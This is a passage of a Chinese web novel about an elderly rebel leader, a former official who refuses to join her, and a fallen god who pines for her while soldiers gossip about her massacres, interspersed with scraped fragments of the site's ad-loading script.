宋礼遇又要被她气哭了:“你算了吧!我还不知道你!你把我放到最有可能赢的人身边,就是在提前埋线!我若帮你的话,这天下最终是你的。我若是不帮你,你也能让我去嚯嚯对方,甚至将今日你我的谈话,告诉慎王。到时候,我还是免不了一死。我到底怎么你了,你天天这么变着法儿地算计我?” 花祝年对宋礼遇哄道:“我既然求你,肯定是相信你的。请你一直待在慎王身边,等我真正有实力与慎王为敌的时候,再与我互通有无。” 也许她活不到跟慎王去争的那一天。 但是,提前埋线,总是好的。 按照宋礼遇的说法,慎王是最终的胜利者。 那倘若她能战胜其他十八股势力,慎王就会成为她的劲敌。 花祝年不可能做那种功亏一篑的事,吭哧吭哧跟十八股势力干仗,最后被慎王夺得天下。 凡事要提前做打算。 宋礼遇气得原地撒泼:“我不干!若是真的投靠慎王便罢了,可最后还是要回到你这里来。跟着慎王打天下,我的财富并不会减少,就算散尽家财,终究能掠夺回来。跟着你,我能得到什么?” 小老太眼睛亮亮地说道:“你不是说,倘若古书上所记载的民不聊生,一次次遭到后世验证,那就说明,大家一直困在森林里打转吗?你跟我干,我们一起走出去呀!” 92. 小老太已经完全不喜欢他了 宋礼遇没有说应,但也没有说不应。 如应。 不得不说,“如”真是一个绝妙的字眼。让人有无限期望的同时,又能接受现实的幻灭。 他没有选择投靠慎王,因为慎王虽然赢的局面大,但是之前跟慎王抢过几十个矿。 俩人一直不怎么对付。 宋礼遇最终还是选择去扶持自己的侄子——骠骑大将军宋微流。 虽说是王朝就要覆灭了,可他完全可以拥兵自重。 在这个摇摇欲坠的腐朽帝国面前,再猛地推上一把。 呵,大洗牌哪会洗得那么干净,到时候割据的还不是前朝那些手下有兵的? 又不用重新耗重资招兵买马,吃国家的,喝国家的,全都是现成的。 宋礼遇仓皇下山的时候,连头都没有回。 又生气,又害怕。 偏偏是贺平安给他指的路,还从后面踹了他一脚。 花祝年这个狠心的女人,连送他都不送! 宋礼遇越想越生气。 直到走出去好远后,他才敢回头看,贺平安究竟有没有跟着自己。 确认没有后,才捂着心口停了下来。 他扶着一棵树大喘气。 喘着喘着气忽然闻到一股尿骚味儿。 宋礼遇又回想起刚才的事。 气得他对着那棵树就踹了几脚,边踹边骂。 “他妈的,刁民!还指望我跟着你干,老子跟个屁!” 方才临走前,他也是这样说她的,说她是刁民。 可她说,自己老实巴交了一辈子,从来没惹过一件事,没有给官府添过一次麻烦。 还说他,宁愿相信她是天生的反贼,也不相信世界上有官逼民反这回事。 宋礼遇当时冷笑着回应:“你就是天生的反贼,从你年轻的时候,老夫就看出你是个反贼来了。” 真正的顺民,是永远不会反的。就是逼死他们,都不会。 如砧板上的鱼,如狼口中的羊…… 谁像她这样? 年轻的时候,是小反贼,老了老了,成了反贼头子。 刁民! 冷冷月光下,昔日重权在握的精致老头儿,如今披头散发地踹着树发泄:“你以为你能走出去?” “打天下的时候,风和畅自然跟你商量着来,因为要用你的天命,等得了天下,谁还听你的?” “到时候,连上桌都未必!” 树被踹得摇摇晃晃的,散落他一身的露水。 “刁民,真是把自己当回事儿了。也不看看你怎么当的小首领?” “生前就是被抬上来顶锅的,要不是马逐龙下了缴令,马卡龙那个贪生怕死的,能让你这小老太捡这个漏?” “这也就是你那老不死的男人,把马卡龙砍了,若是没砍,就凭你死而复生,马卡龙第一个把你摁进棺材里。” 宋礼遇越说越癫,他内心是真的气。 人在无语的时候,真的会笑。 他喜欢她到了极点,可看不起她也到了极点。 “哈哈哈哈哈,当小首领还做起春秋大梦来了。” “有天命又如何?前夫哥也有,不是照样被人弄死了吗!” “你以为你能待多久?还带我走出去,你可拉倒吧。带着你那个破男人,跟我耀武扬威的。天杀的,刁民!” 宋礼遇随着怒气的攀升,一时踹得劲儿大了。 直接被树的寸劲儿给顶倒在地。 他重重地摔在地上,感觉仿佛有一股冥冥之中的力量,在惩罚着他。 躺在地上,看着垂星之幕,忽然觉得星星也没那么璀璨,月亮也不过如此。 他刚刚,已经见到了,最为明亮的人。 她是一个老太太,因为在山野之间过活,遭的罪、操的心都比寻常女人多,又不如何注重保养,看起来比同龄人还要老十几岁。 她是一个反贼。是他最害怕的那种反贼,怕她不死不休地跟他缠斗,不会被利益收买,不会被权势威逼。 她是神明。是他在年少时候就喜欢的女子,现在也依然那么那么地喜欢。 他是渴望她能救他的。 毫不夸张地说,宋礼遇当时,真的,特别认真地考虑过,跟她的未来。 他甚至在大权在握后,也有想过,如果那时候,他没有跟随家里人,举家搬迁,另投明主。 那是不是,就能在前夫哥死后,刚好遇到她呢? 如果当时她嫁给他,他也愿意给她开辟一间小书房,让她日夜祭拜前夫哥。 并且,他绝不会像贺平安那样吃醋。 他是真的想过,放下一切的权势,跟自己爹走完全不同的道路。 是不是,只有那样,她才会接受他? 宋礼遇在午夜梦回时,甚至贪婪地幻想过—— 她拎着个破筐,筐里装着前夫哥的碎肢。 举目无亲之际,他衣衫褴褛地出现在她面前,告诉她:“我跟我爹不一样,我已经,不欺负人了。我们找个地方,把前夫哥葬了,好好过日子,好不好?” 可终究,是不能的。 他没有她那样大的勇气,肯堕落底层。 太平盛世时,底层的日子,尚且不好过,更何况是乱世的底层呢? 他势必会被狠狠践踏,那是他所无法容忍的。 每个人的路不一样。 宋礼遇从小学的就是他爹那一套,他一辈子也只会那一套。 不磋磨人,就得被人磋磨。 一个女人,跟他的锦绣未来,跟他庞大的家族相比…… 太轻了,实在是太轻了。 他没有什么是不能舍去的,当初如此,现在亦然。 宋礼遇从来就不相信花祝年,会真正地成为未来天下的实控者。 哪怕那群人是跟随她,才夺得了天下。 她既没有自己的智囊团,又没有死心塌地跟着她的将领。 光是靠着贺平安,一个莽夫,除了能近身护着她,还有什么用处呢? 倘若真的让她进京称王,也是受风和畅摆布的命运。 风和畅不过是另一个他而已。 花祝年想让他将来入朝时,再跟风和畅互相制衡。 这个反贼,想得还真是遥远呢。 天下都没打下来,就想着怎么摆脱风和畅了。 可到时候,就算他站她那边,又能如何呢? 兵营中的权力,也是牢牢掌握在风和畅手里,人家一声令下,就能让她滚下台。 在势力均等的条件下,才有斗智的资格。 否则,就是挨千刀的份。 这也是他方才没有直接答应她的原因。 他说,除非她能在将来,找到军中肯死心塌地跟着她的人。 这个人必须有不可撼动的力量。 文武两治,有如人的两条腿。 两腿齐全才能走路。 单单一条腿的话,走个屁的路?他才不跟着她送死。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >一个合格的首领,若是没有军权,就是永远的傀儡。 那是不会有智囊肯死心塌地跟随的。 儒家、法家、道家……不管用哪一家治国,对方一刀下去就砍死了。 任何法度和规训,都无法让众生平等,刀剑才是永远的众生平等器。 在宋礼遇去找自己的侄子宋微流的时候,衡羿也离开了小信徒的队伍。 他是那种说断就必须断得干干净净的人。 绝不拖泥带水。 待在她身边三个月,已经让他神魂无措了。 倘若再多陪她些时日,那今后还怎么离得开她? 她是注定要死的,死后也无处觅寻,他才不做这伤心人。 衡羿去投靠了慎王。 倒也没有别的心思,他一直是个很务实的神。 薛尘那一世,是天命胡乱安插,需要一个暴戾的性子,才让他做出那诸多的荒唐事。 现在他虽然没有了法力,可内核仍旧是神的思维。 自然是挑好的去处。 跟着慎王,吃得好,住得好,晋升快。 谁要跟着她一个小老太吃苦?做那种注定不会成功的事。 他拒绝。 正如她拒绝自己不喜欢的事一样,他也拒绝得很彻底。 虽说天道让他辅佐她,可他跟宋礼遇一样,是不信她会带着众人,走出森林的。 他只知道,她终究要死,死在哪一天不一定,不过他耗得起。 等把她耗死,他就继续回天上,做他的神。 这样也不算犯规。 天道只说让他辅佐,又没说势必会成功。 反正,只要社稷主一死,他就回归神位了。 这世间乱成什么样,也是人间自己搞成这样的,和他没有关系。 务实的神,哪怕是在人间,也绝不做让自己难受的事。 他无比确信,自己已经放下她了。 都投靠别人了,还不明显吗?甚至,他那晚连道别都没道。 就那样走了。 兵革仙以过来人的口吻说,他会后悔的。 不,他绝不。 没有人能再把他拉扯进这种儿女私情里,他不会再陷进去的。 她已经死过一次了。 他们在那座桥上,也已经和离成功了。 她对他又打又骂,还吐他口水。 小老太已经完全不喜欢他了,哼,这正是他所希望的。 离开她之后,关于她所有的事,他都是听说。 其实,他是不想再想起她的。 偏偏周围的那些人,总是在他面前议论她。 他也就,勉强听一听。 兵营里的人,聚在一张大长桌上,吃饭时,一个小兵开口道:“哎,你们听说了吗?南边儿,有个小老太,居然做了起义军的小首领。” “哈哈哈,一把年纪了都!五十岁正是拼的时候。” “干啥不好啊,非要干这掉脑袋的事。” “嗐,不用说,肯定是活不下去了呗。不然老老实实在家种地多好?” “我听说,她是死而复生的。有天命在身。” “什么他妈的天命,那都是糊弄人的。当初,那薛尘,你们都知道吧,不也据说有天命在身?那是斩首时,天雷都救的人,后来怎样?还不如当初被斩了呢。死得更惨!” “可是,最近那个小老太,风头很盛呢。听说,因为自己的兵出去乱抢,最后被她当场砍杀了。” 93. 反正都传开了 “她怎么这样啊?抢点东西怎么了?就算是告到官府里,也不至于砍杀吧。” “已经结束咧!没有官府了!人家早把地儿占了,在那个镇子上反得很彻底。” “卧槽,不管有罪没罪的,都砍了?” “听说是吏就砍。偌大的镇子上,找不出一块完整的尸体。” “一个逃出去的都没有?” “没有。她夜袭得非常突然,让人都没有反抗余力。连投诚的都不收,那群人就跟地狱里的怨鬼一样。” 衡羿有想过她会如此。 其实,当初在席上,她为了破坏宋礼遇和风和畅的交好,果断地杀了那列精锐骑兵。 他就觉得她跟之前,似乎有些不一样了。 倘若放在其他爱惜名声的起义首领身上,肯定不会如此。 就连当初马逐龙杀贺平安,都找了个合适的缘由。 哪有吃着吃着席,突然让手下砍人的?说是为了拿下宋礼遇,可实际上就是奔着砍人去的。 如果换做以前的花祝年,从来不杀无辜者,是决计做不出这种事情的。 可宋礼遇离开的那天晚上,衡羿曾在不远处,偷听过他们吵架。 确切地说,是宋礼遇窝窝囊囊地控诉,花祝年平静漠然地争论。 “你知不知道,那是我悉心培养了多少年的精锐骑兵?可你,就为了让风和畅对我下死手,竟然斩杀了那么多无辜的人!他们只是跟着我过来接你回家,又有什么错?你有没有想过,他们的家人知道后,会有多痛苦?” 花祝年冷笑道:“干嘛这样约束我?你们杀的人少吗?你们杀的时候,怎么不想想那些人的家人怎么活?杀到你身边的人了,开始让我反思了。你怎么不找找自己的原因?你若是不带他们过来,就可以从根本上杜绝这个问题。” 逐鹿者不顾兔。 如果她要照顾到每个人的心思,获得所有人的赞扬与欣赏,那她就别起义了。 做柔顺处下者更能哄人开心。 桌上的人谈论不断。 “听说,她还有个极为善妒的男人。曾经有个后生去她家借宿,身上被砍了几十刀,脸都让人砍烂了。” “要我说,那肯定不光是借宿的事儿,后生肯定勾引那小老太来着。” “不能吧。我觉得还是她男人善妒。” 衡羿在一旁一边吃东西,一边低头暗笑。 这番言论就是他散播出去的。 他觉得依照男人的低劣品性,但凡一个女人拥有了绝对的权力,那贴靠上去的男人势必不会少。 让所有男人都知道贺平安善妒…… 这样也算是保护那些不知轻重,妄想靠着她一步登天的男人吧。 他才不是在乎她,他根本不在乎她,她爱和谁好和谁好,这跟他没有半分钱的关系。 他只是,不想贺平安伤心。 对,他做这一切,完全是为了贺平安着想。 衡羿正出神的时候,忽然感觉有人推了自己一把。 “薛凡,问你话呢,你想什么呢?” “嗯?” “那小老太的男人善妒,是不是从你这里传出来的?我记得你籍贯就是那边儿的。” 衡羿点了点头。 “我只是知道一些,他们起义之前的事。至于后面那些,我也是听你们讲的。” “哎呀,你就讲讲她起义之前的事儿呗。” 他咬了口馅饼,并不十分情愿地说道:“其实,也没什么好讲的。老太太起义什么时候成功过?她年纪那么大,说不定什么时候就死了。” “那她平时在镇子上,是什么样的人啊?” “嗯……脾气非常差,而且,很黑心。还是那个在她家借宿的后生,说好三菜一汤给做着,钱都付了,结果都没吃上几顿,还被砍了个稀巴烂。” 众人看着他脸上的几处刀疤,忍不住问他道:“你怎么知道的这样详细啊?” “那么大的事,谁都知道。他们两口子,哪一个都非常不好惹。” “呃,那你这脸上的伤,是怎么弄的啊?” “我是在投军的路上,遇到了劫匪,劫匪看我身上没有钱,就胡乱砍了我一通。” “哦,这样留下的疤啊。我们还以为,你就是那个在她家借宿的人呢。” 衡羿笑了笑:“我怎么会是呢?那个人已经被砍死了。死相相当惨烈!” “哎,那后生,到底做什么事儿了?惹得她男人那样生气?” 衡羿想起那晚的事…… “也没什么,就是她摔倒了,后生扶了一下。” “啊!就这样,就被活活砍死了?” “嗯。” “她男人这么残忍,她还跟他过日子啊?” “过。他们,很恩爱。而且,她看不上别的男人。曾经有人勾引过她,差点没被她给打死。其实,她不拿男人当人的。那边儿的男人,都很讨厌她。” “啧,那看来这两口子,还真没一个好东西。” 衡羿在一旁狂点头:“所以,他们成不了气候的,也不配做我们的敌人,自有其他的零散队伍去灭。我们现在跟着慎王,虽说同是起义军,可却是固有势力,又守着边疆要塞,是所有人的主心骨。她就是一只小卡拉米。” 就在他以为这篇能揭过去的时候,忽然听人说道:“可是,这跟我听来的不一样啊。我听说,她在那块儿挺得民心的。” “而且,自从她砍杀了抢东西的兵后,就再没人敢抢百姓的粮食了。还有,她有个手下,叫虎翼。立了条很严的军规,不许抢女人,也不许抢男人。” “哎,我也听说过这个虎翼,她之前好像是前朝权臣的一个妾。原来叫囡吉,后来改名叫虎翼。经常仗着小老太的势,收拾底下的人,把人收拾得服服帖帖的,没有敢乱犯军规的。” “我也是听说,小老太现在势如破竹,打到哪儿整治到哪儿。一路灭佛灭道灭吏,前朝旧部越镇压,那反抗得就越狠。” 衡羿忽然间想起,金身罗汉曾经跟他说,他的小妻子跟佛家还有一段缘分。 当时他还在想,究竟是怎样的缘分?不会是真的要下地狱,听地藏王菩萨讲解佛法吧。 现在忽然理解了金身罗汉的话。 她不只和佛家有段缘分,和哪家没缘分呢? 孽缘也是缘啊。 流兵酷吏逼得她走投无路,佛道两家也不收容她。 她给过他们机会的。 当初但凡那些人不做的那样过分,赏她一碗斋饭,也不会遭遇灭顶之灾。 当一个人四处求助无门时,那就只剩杀杀杀了。 不分好坏地库库灭,也是佛道吏在共担业力吧。 她现在的所作所为,似乎已经不能由人间的规则来约束或评判了。 她果然如当初在那座桥上所怨怼的那般—— 天地之间都别想拥有她。 无法拥有,自然无从束缚。她不再讨好任何一个人,权力和土地不是讨好来的。 天道选的人很不错。 只有这样纯恨的人,才会不留一分余地。 让秩序重建,让天地倒转,让神俯瞰人间。 花祝年永远也不会告诉世人,灭佛灭道灭吏的真正原因。 这就像规则越模糊,越不敢有人触犯一样。 因为一旦告知灭的原因,便总有人想方设法地避开规则,寻找漏洞,总有借尸还魂,死灰复燃的一天。 可只要她将这一切的原因,都加之于自己身上,归咎于自己不曾得到厚待。 那妄想死灰复燃的势力,便只会骂她,睚眦必报。 单单是因为佛道吏待她不好,所以驱使天下人反抗。 哪怕他们再让众生离苦得乐,也是全然无用处的,她说灭,就要灭。 她就是世间最大的强权,不可商量,不可触犯,彻底堵死了死灰复燃的漏洞。 只要她活一天,那些蛊惑人心的术士和僧人,还有道貌岸然的吏,就别想打着拯救众生的名义笼络人心。 至于无辜受牵连的信徒,那大可以放肆地骂她,她也是不在乎的。 谁让水浊的时候,他们躲起来装看不见呢?自己不清理门户,她就帮他们清理。 他们这群佛道吏的信徒,不管好的坏的,落到今天这个地步,完全是自作自受! 受国之垢,是谓社稷主,受国不祥,是为天下王。 她从没想当什么社稷主,天下王,从一开始,她就只想老老实实过日子的。 是有人不让她活着,不让她过日子,她是完完全全被逼出来的! 死不让死,活不让活,她能怎么办?只能将这泼天的怨气,向人间冲泄而去。 因此,这个疮痍世间在她手上,受的所有的罪,也是罪有应得。 她是不会忏悔分毫的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 没有人,可以让她认错,她也从未有过错。 她所做的一切,都是由一群恶魔所造下的因,如今让她来成就所结的果。 桌上的人似乎都对她很感兴趣,虽说起初是源于她老太太的身份,可越聊越觉得她办的事儿让人匪夷所思。 “而且,她灭佛灭道灭吏就罢了,这可能之前惹过她。可是,她连生意都不让商户做。” “啊?这商户又怎么惹到她了?” “她也不是所有商户都不让做,是不让开妓馆了,男倌女妓都不给开了。她打的那块小地界儿,本来属于封疆大吏苏寇的势力范围,妓馆那就是捞银子的啊,用来养军队的啊。结果,她杀到那儿了,给里面的男人,当场摁床上就阉了,阉完也不给人留活口,你说办得这叫什么事儿?” 衡羿轻描淡写地说道:“这事儿她干不稀奇的。前段时间,前朝太子在道观被杀,山间的树上挂满了人头,你们都知道吧。” “知道啊!当时都传是山鬼做的。后来,山里就不让再干那种营生了。” 衡羿掩饰着内心的骄傲:“不是山鬼做的,是比山鬼还残暴的小老太做的。” “啊?真的假的?” “真的。那个镇子上的人,几乎都知道她干的事。反正都传开了,我也不怕讲。她一向如此。平等地恨着每一个人,就纯恨。” “那要这么说,前朝还没亡的时候,她连太子都敢杀,现在铲除封疆大吏的几个妓馆,好像也不是什么大逆不道的事。” 衡羿低头笑了下,可是笑完又不免为她担心。 周围的人对打仗的事是很敏感的。 依照她现在的势力,是很难跟割据一方的苏寇抗衡的。 苏寇有着稳定的军饷供应,以及一系列的纳粮渠道。 就连带兵打仗,也有一众幕僚。 她不是他的对手。 苏寇拍死她,就跟老虎拍死一只蚂蚁一样简单。 “那小老太这次不会被尽数歼灭吧?” “不知道呢。我也是前不久才得到的消息,现在说不定都打起来了,等传到我们这西北边疆,可能几个月都过去了。” 衡羿突然就吃不下饭去了。 如果是他,他根本不可能从一开始就这样清整,总要先联结几部分势力,到最后有胜算了,再清算。 可她上去就铲了人家几个妓馆,断了对方的财路,恐怕是再难联合起来了。 不过,她如果就此死了也好。 他就回天上去了。 这不能怪他,是她决策失误。说来也是,一个暴躁小老太又有什么决策呢? 实在是不能对她抱太大的希望。 倘若她就此陨落,衡羿也是毫不在乎的。 他没有在乎她的理由,她也不是他什么人。他的神位也不是靠着她,才得到的。 没有人在乎她,他一点也不在乎。从来都不在乎,真的不在乎。 每天都要重复很多遍,他是不在乎她的。 仿佛只有这样,将来才不后悔。 就,随她去死好了,乱世每天都会死人,人命如草芥,她并不如何独特。 一粒微尘芥子是不需要他重视的,他只需要用对待世间万物的淡漠心境,来对待她就好。 夜里,睡在军营的大通铺上,所有人都睡得正香。 衡羿忽然坐起来,开始哐哐撞大墙,红着眼睛发癫:“你想她干嘛?她一个没有影子的人,你到底为什么还要想她?” 那天,所有人都为她的死而复生感到惊奇和震撼。 可只有他关注到,他的小信徒,自从醒过来后,是没有影子的。 烛火下,任众生如何丑陋邪恶,都有各自的光影。 只有他的小信徒没有。 没有影子,意味着没有三魂七魄,在她冲向阳间的时候,已经被分割得干净彻底了。 现在活得不人不鬼的,说不定什么时候就要死了! 死后,就再也无处觅寻了。 他为什么要让这样的人,来扰乱他的心神? 明明,他不在乎她。 让她去死,让她去死好了。 衡羿想她想得头痛欲裂,越哐哐撞墙越觉得头要裂开了,可他还是没有停下的意思。 他想把她给彻底撞出去,不留半点儿痕迹。 早该如此。 他不能再被她拖累了! 94. 怎么我一说不喜欢 他是极度讨厌她的。 一般来讲,一个合格的神不会讨厌什么人,对所有人都不会有额外的情感。 可他,最讨厌的人,就是她。 花祝年是唯一让衡羿产生情绪波动的人。 她究竟算什么?也配这样一次又一次地折磨他…… 她和人间的碌碌众生并没有什么不同。 古往今来,活不下去起义的,也不只她一个。 灭佛灭道灭吏更是常用手段。 她不过是做了所有起义者,都会做的事。 有掀海弄浪之际,就有沉入海底之时。 衡羿比任何人都要清楚,她是注定要消亡的。 他想尽一切贬损她的理由,可她还是放肆充斥在自己回忆的每个瞬间。 实在是,很霸道。 不过,她一向都是如此霸道的。 这段关系,他什么时候做过一次主呢?哪怕是一次? 没有。 一次都没有。 她想强娶他就强娶他,说送他封神就送他封神,最后就连不要他,也是很坦荡的。 这个,神经病! 他在天上待得好好的,为什么要跟这种受苦受难的神经病纠缠在一起? 衡羿疯起来把自己撞得头晕目眩,最后直接转过身趴着床吐了一地。 撞吐了……也可能是被她气吐的。 反正,跟她脱不了干系。 他也是没想到,自己都离她这样远了,却还是会被她影响成这样。 她凭什么? 甚至,就连他闭上眼睛,都会看到她。 无论是三十年的漫长,还是三个月的短暂,每一个片段,都历历在目、反复回映。 衡羿趴在床头边吐边哭,跟喝了假酒一样。 “她已经,有男人了。” “那个烂男人,也是终于等到她了!” “他们就好好过日子吧,跟天下间所有的夫妻一样。” 伤心过头的时候,真的会绝望得要死。 天地倾覆,轮转万世,他都没有这样绝望过。 “我说不喜欢,就是不喜欢吗?” “你之前不是也知道,我不喜欢你,不是也照样喜欢我?” “怎么我一说不喜欢,你就真的不要我了?” “我不是也说过,会娶你吗?你那时候,怎么不听我的?该听的不听,不该听的偏信。” 他一个人发疯不要紧,吵醒了所有的人。 本来大家想揍他的,可是一看他伤心成那样,就纷纷吃起瓜来了。 “不是,你都没娶她,你闹什么脾气啊?” “不会吧,不会吧,不会有人觉得自己只是跟人有过一段儿,然后自己参军来了,归期不定,人家姑娘就必须得给你守着?不会吧,还真有这样的人啊?” “你没事儿吧!又没娶她,找谁那是人家的自由啊!” “就是,还说得跟恩赐一样。人家要不要你娶,都不一定呢。” “以为你怎么了,大晚上地发癔症,这都没娶人家,你在这儿说个卵啊!” “不是,人家姑娘找的,怎么就是烂男人了?你看见了?不过是没嫁给你而已嘛,你就说人家找的是烂男人。啧啧啧,难评……” “你真是不像个男人,到底在哭什么?吐了一地也不收拾,大半夜地竟瞎折腾人!” 衡羿刚才实在是想她想得太压抑了,一时无法忍受才宣泄出来。 现在大家都看着他,怪难为情的。 兵头儿上前给了他碗水喝,让他漱漱口。 其他人看他哭得肝肠寸断,才勉强帮他把吐的收拾了。 兵头儿大半夜将他喊了出去。 “我是过来人,这事儿我懂啊!按理说,你该放下了。” 衡羿又是恼怒又是觉得荒诞:“我早就放下了!我不过是看不起她。” 兵头儿笑道:“你可拉倒吧,就你现在这的刀疤脸,还看不起谁啊?人家姑娘不嫌弃你就不错了。” “她不嫌弃。就是我变成一堆碎肢,她也是不曾嫌弃的。” “这话她说的?” “嗯。” “唉,那看来她很喜欢你啊。你为什么要离开她呢?” 衡羿回想道:“以为自己罪孽深重,又被权谋者口中的大义骗了,就去参军了。一心想着扶社稷,救生灵来着。” 后来,因为他镇外乱有功,抗住了外部大部分的压力,才让那个王朝有多余的兵力,去镇压内部起义的百姓。 早知道,当时就该让它亡的。 他在那个时候,确实眼光不行,差得要死。 不过,若是不平外乱,一旦外族打了进来,内部的百姓仍会生灵涂炭。 乱到那个节点了,好像怎么做,都是错。 兵头儿以为薛凡说的是现在的事,并不知道他是在说三十年前的自己。 他拍了拍他的肩膀:“可你现在已经到这里了,总不能再回去。” 衡羿坚决道:“我是不会回去的!她就跟那个烂男人,好好过吧。反正,她一向没什么分辨能力,也不如何爱惜自己,并不值得我珍惜。” 兵头儿皱着眉头敲了他一下:“怎么说话呢?人家不选你,就是没分辨能力了?男人可不能这样小气啊。” “我没小气,她嫁的那个,就是个烂男人。别人我不知道,他我还不知道吗?” 他在天上看了他们三十年,贺平安是什么样的品性,他看得最清楚了。 “那人家都已经成亲了,你就别再想了呗。省得自己难受,连带着弟兄们跟你一起睡不好。” 衡羿的情绪突然激动起来:“谁想她了?我没想她!我就是,就是突然,梦到了。给我气的,恨不得……” 至于恨不得什么,他憋了半天,也没说出来。 说来说去,他还是觉得是她的问题。 责任全在她! 他是半点儿都没有的。 虽然她没有明着勾引他,可是她确确实实是有暗戳戳引诱他的。 不然,他也不会被她给引诱下来。 她现在可倒好,看清他的本来面目了,跟她的烂男人过日子去了,竟再也不留恋于他。 自从她醒过来后,就忙着砍人,根本没问过一句,那尊小泥人儿在哪儿。 定是不在意了。 她就是这样朝三暮四,搞得前三十年的他,像一个笑话。 他现在甚至已经从讨厌她,转变为一种深重不可削减的恨意。 那种,把他生拉硬拽下来,却又不管他的恨意。 如果不是她,他根本不会在人间这个粪坑里扑腾。 衡羿回去后,后半夜又哭了一场。 结果把旁边的人哭烦了,把枕头摁在他头上,狠狠地锤了他几拳。 早上醒来后,不仅眼睛是肿的,刀疤脸也是肿的。 他是不会再想她分毫的。 无论周围的人聊起她什么事,他都不再参与。 衡羿很清楚自己现在的任务,就是在等着她死,然后他离开这里。 就凭现在他对她浓烈的恨意,她就是真死了,他也会无动于衷的。 没感情,就是没感情了。不,应该是从未有过! 半个月过去了,他果然断情绝爱得很好。 每天骂她八百次不识好歹……都没有痛彻心扉地想过她一次。 他也是熬出来了。 就在他以为自己会这样恨下去的时候,一天夜里,突然被一股不知名的力量,拽去了那座连接阴阳两界的桥上。 他以为是跟她有关的梦,气得原地发大疯道:“你又想干什么?上次说得还不够清楚吗?要我说多少次,我根本就——” 话还没说完,就有人拍了拍他的肩,他转过身一看,九重天的一众神仙都聚在他身边。 一个个的,脸色都不太好看。 让他感到意外的是,这群神仙里,居然有兵革仙,还有她的男人草席仙。 两人总是一起在战场上出现。 一个仁慈坚韧,怜悯一切,一个戾气冲天,因反抗而生。 只是,在这里见到兵革仙,让衡羿的心隐隐有些不安。 他的小信徒,别是真的死了。 不然,兵革仙怎么会在这里呢?她不是最会带兵打仗么? 桃花仙瞪了衡羿一眼,走上前来闹道:“家仙们,谁懂啊?本来在兴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冲冲地吃瓜,结果发现自己家塌了!” 石仙粗着嗓子叫嚷:“谁不懂啊?这不是都下来了吗?全拜我们衡羿仙君所赐啊!” 衡羿一头雾水道:“这话怎么说?” 火神怒道:“你在这里装什么傻?没看见大家都不在九重天上待着了么?” 月神也上来期期艾艾道:“不是我说你,真不是我说你,本来这事儿弄九重天的神仙就好了,干我一个月神什么事儿呢?我在那寒冷偏僻的地界儿待着,招谁惹谁了,竟也被你那小妻子给弄了下来。” “你们两口子吵架,到底干我们什么事儿啊?” “真是服了。好好地在天上待着,谁想到都成神了,还要遭这个罪!” …… 一众神仙,你一言我一语的跟他抱怨,可就是没人告诉他,究竟发生了什么事。 他将目光投向了兵革仙,试图从她这里探听些什么。 兵革仙无奈道:“九重天,一重接一重地坍塌了。我们都被革去了神职,要重新下去,在乱世投胎救世,攒够功德后,才能重新封神。” 其实,让神仙下去轮转,是很常见的事。 回来后,神职照样留着。 这直接把神职革除,让人从头来过,确实是有些过了。 “怎么会这样?” 衡羿现在虽说不是神,可也算是众神的靠山。 不知道为何,他们竟会遭此大难。 兵革仙对他问道:“你还记得鲁绒绒吗?” 衡羿点了点头。 “鲁绒绒消失的这段时间,原来加入了苏寇的队伍,改名叫鲁戎,带兵打仗非常厉害,别人都说她是为打仗而生。” “再加上,你的小妻子,曾经跟她讲过一些星象术数之类的故事,本来是小时候为了哄她睡觉的,但她全记了下来。前朝的钦天监,在逃亡中,被苏寇吸纳了过来。” “钦天监跟鲁戎知道她有天命,所以摆下了比你当初还要残忍的法阵。试图,偷天换日,夺走她的天命。” “鲁戎跟你小妻子的误会非常深,再加上她本就愧对于这个小姑娘,所以即便看出来那是法阵,也还是带着人应战了。” “鲁戎站在城墙中间,她站在一片红泥地上。虎翼在一旁跪着磕头,因为鲁戎手里有那尊小泥人儿。花祝年是不怎么拜了,可是虎翼天天都在拜,希望小泥人儿能保佑花祝年,不再受伤。” “鲁戎在高位上,字字血泪,斥责花祝年当初抛弃她,只身赴京,还带走了你,才致使她乱世漂泊。从心理上,她已经被击垮了。她向她道歉,可是,却没有得到饶恕。鲁戎说,她永远,永远不会原谅她。” “虎翼求鲁戎不要毁掉那尊小泥人儿,鲁戎拿着它嘲笑这边的士兵,说花祝年痴愚迷妄了大半辈子,这样的人怎么配做首领呢?还以毁掉小泥人儿为筹码,逼迫花祝年投降。苏寇并不在意花祝年,他想要的是她身后的起义队伍。” “可是她没有应。反而跟身旁的将领说,待会儿,她会往那尊小泥人儿上,射上一箭。可她射箭没准头儿,担心射不中,所以让他们跟她一起射。射中的,重重有赏。” “射箭的人中,也有贺平安。不过到最后,谁都只是摆了个样子,只有她把箭射了出去。小泥人儿被她一箭射碎。” “众人大惊,因为大家潜意识里,她之所以能屡战屡胜,跟拜小泥人儿是脱不了干系的,就连她死而复生天命加身,也是拜小泥人儿所赐。如今把小泥人儿弄碎了,今后大家还怎么打仗?精神上再没了凭借。” “而且,就连贺平安,那个一心跟你争风吃醋的人,也不敢贸然毁了那尊小泥人儿。他怕花祝年就此倒下,再也醒不过来。所以,那群人里,只有她是真敢毁掉它的。她曾经亲手塑造它,将所有的信仰和功德都加诸于它,可现在毁起来,也是毫不手软的。” “她说,她死过一次,死后,并没有看到神。世间从来就没有神,薛尘也没有被封神。她之前,所忍受的一切,都是错的。人死了,就是死了。拜神也是没什么用处的,神也不会来拯救大家。” “世间万灵,没有前生,没有来世。所以,这一世,有仇的报仇,有怨的报怨,除了一路杀下去,我们别无选择。” 95. 因为终将要失去她 衡羿自从下来后,不是被花祝年气死,就是在被她气活过来的路上。 她这样,真的让他很难做。 世间怎么会从来没有神仙呢? 就算旁的神仙她没见过,他当初可是亲自在她面前现过真身的。 她一句话,就否定了所有神的存在。 怪不得别人说他们两口子吵架,闹得大家都不安生。 不过,即便是她这样讲,也不至于弄得九重天全都坍塌吧。 过去否定仙的也不少,衡羿还从未见过这样的事。 怎么偏偏她的一句话就这样厉害呢? 石仙气冲冲地嚷嚷道:“她是不知道自己有天命在身吗?还是不知道自己一句话能够影响多少人?” 衡羿问道:“她的话,能让天界坍塌么?” “不然呢?你以为我们好好地不在天上待着,闲得来投胎啊?” 众神开始跟他倒苦水儿。 仿佛非要他将她惩治一番,才肯罢休。 